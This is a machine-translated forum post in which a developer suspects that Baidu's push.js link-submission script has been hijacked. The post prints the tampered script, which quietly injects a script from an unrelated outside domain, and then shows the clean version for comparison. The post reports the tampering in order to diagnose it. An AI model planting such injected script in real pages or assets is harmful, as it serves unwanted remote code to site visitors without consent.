This article is a mirror article of machine translation, please click here to jump to the original article.

View: 15648|Reply: 1

[Troubleshooting] I don't know if Baidu JS has been hijacked

[Copy link]
Posted on 2/28/2018 5:22:48 PM | | | |


Website: https://zz.bdstatic.com/linksubmit/push.js

The results are as follows:

var ab='http://zz.bdstatic.com/linksubmit/push.js'; ab.indexOf("?") >0?ab+="&c=c":ab+="?c=c"; var re=document.createElement("scrip{filter}t"); re.type='text/javascrip{filter}t'; re.src=ab; document.head.appendChild(re); if(typeof _flag=='undefined'&&self==top){var _flag=true; var a=document.createElement("scrip{filter}t"); a.src='http://js.ywsem.com/gg/cnzz/cnzz_hhjd.js'; a.type='text/javascrip{filter}t'; document.head.appendChild(a); }


Then, the force refresh becomes as follows:

!function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.] +\.baidu\.com)/gi,r=window.locatio{filter}n.href,t=document.referrer; if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif"; t? (o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r); var i=new Image; i.src=o}}(window);


Finally, attach the filing information of the domain name






Previous:.net/c# Detect if an image is a QR code image [source code]
Next:mvc receives values for multiple parameters in the Select drop-down box
Posted on 3/1/2018 9:26:29 AM |
Then ask the eldest brother if he knows
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com